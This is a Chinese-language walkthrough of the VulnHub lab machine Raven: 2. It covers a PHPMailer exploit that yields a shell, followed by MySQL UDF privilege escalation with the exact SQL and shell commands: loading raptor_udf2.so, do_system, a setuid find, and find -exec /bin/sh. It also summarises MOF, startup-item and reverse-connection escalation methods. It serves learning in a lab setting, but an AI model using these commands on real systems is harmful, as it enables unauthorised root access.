Raven: 2 ~ VulnHub
信息收集
Nmap扫端口
80端口信息
一个.DS_Store文件泄露(好像没什么用)、一个vendor文件夹和一个登陆后台页面
PATH中找到了flag1,同时还得到了整个网站搭建在var/www/html下
PHP版本5.2.16
又看了看SECURITY.md文件,发现里面记录了PHP各个版本的漏洞情况,拿去翻译了一下,只有第一个漏洞符合现在的PHP版本
百度一下这个漏洞是什么,好家伙正好还是关于这个CMS的漏洞,看了看漏洞复现,用kali查找关于这个漏洞的exp
PHPMailer漏洞利用
KALI搜寻关于这个漏洞的exp,选择PHPMailer小于5.2.18的,这里我选择了py脚本,也就是40974.py
接着将里面的py脚本复制下来保存,记得要改payload中的IP,一个攻击目标,一个本地监听,还要记得后门的文件名
然后按照他说的方法进行操作
这里试了很久这个脚本都没运行成功,查了一下wp发现原来target是contact.php文件,也没有人说原因,不太懂
还有后面的后面路径要改成var/www/html,忽略了这一点。。
但是还有一个坑!!还不能使用默认的后门名,必须要自己改名字,无语了
终于可以了,交互式shell
python -c \'import pty;pty.spawn(\"/bin/bash\")\'
翻了翻目录,看到一个wp-config.php,果然有数据库的账号密码
连接mysql
mysql -u root -pR@v3nSecurity
MYSQL——UDF提权
因为我是根据mysql提权来找的靶机,所以第一时间就想到了UDF提权,作弊了
看了看使用方法这里说要先编译,那就在本地编译之后上传上去,使用scp上传
scp root@192.168.200.6:/root/raptor_udf2.so /var/www/html
上传了之后还是使用下面的命令,因为上面的exp路径不一样
use mysql;create table foo(line blob);insert into foo values(load_file(\'/var/www/html/raptor_udf2.so\'));select * from foo into dumpfile \'/usr/lib/mysql/plugin/raptor_udf2.so\';
create function do_system returns integer soname \'raptor_udf2.so\';
select * from mysql.func;
select do_system(\'chmod u+s /usr/bin/find\'); //当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限
接着exit退出mysql,查看当前文件,理论上我觉得应该选择具有root权限的文件执行命令。但是好像都可以
find test.php -exec \'/bin/sh\' \\;
过关
MYSQL——UDF提权总结
原理
udf(user defined funtion),用户自定义函数。顾名思义,通过让用户自定义函数,来对mysql的功能进行扩充。udf提权将构造好的udf文件上传到指定目录(mysql<5.1,放置于c:\\windows\\system32\\目录。mysql>5.1,放置于mysql安装目录下的lib\\plugin目录下,此文件夹默认不存在,需要自己创建),然后创建自定义函数,执行命令。
利用条件:
1)有写入到目录的权限
2)具有数据库root权限
步骤
1、看版本
select version();
2、看路径
select @@basedir;
3、在mysql安装目录下的lib文件夹中创建plugin文件,并将udf文件上传至该目录。
4、引入udf文件创建自定义函数
CREATE FUNCTION [function_name] RETURNS {STRING|INTERGER|REAL} SONAME ‘shared_library_name’;
shared_library_name:表示函数从哪个文件引入,windows为dll,linux为so
5、如果是window的话可以使用命令添加管理员组,linux的话使用find提权
6.、最后删除自定义函数。
drop function do_system;
MYSQL——MOF提权
既然提到了UDF,就说说mysql的另一种提权方法,但比较少见
原理
nullevt.mof文件是windows系统下的一个文件,默认存放路径为c:/windows/system32/wbem/mof/,其作用是每隔5秒钟监控进程的创建和死亡。通过将构造好的mof文件写入此文件夹,每隔一段时间此文件就会自动执行,从而完成提权。
利用条件:
1)windows 2003及以下版本
2)secure_file_priv不为null
3)具有mysql root权限
MYSQL——启动项提权
网上还看到了别的提权方式
原理
将一段vbs脚本导入到C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 目录下,当服务器重新启动后,会自动运行此段脚本执行命令
利用条件:
1)具有数据库root权限
2)secure_file_priv=””
MYSQL——反弹端口连接提权
原理
反弹端口连接提权也算是udf提权,使用特制的udf文件构造反向端口连接函数,主动连接攻击机。适用于一些特殊场景,例如通过网站无法获取webshell,有了Webshell无法执行命令,有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径。
利用条件:
1)有写入到目录的权限
2)具有数据库root权限
参考文章
看一遍就会的mysql数据库提权操作指南 (qq.com)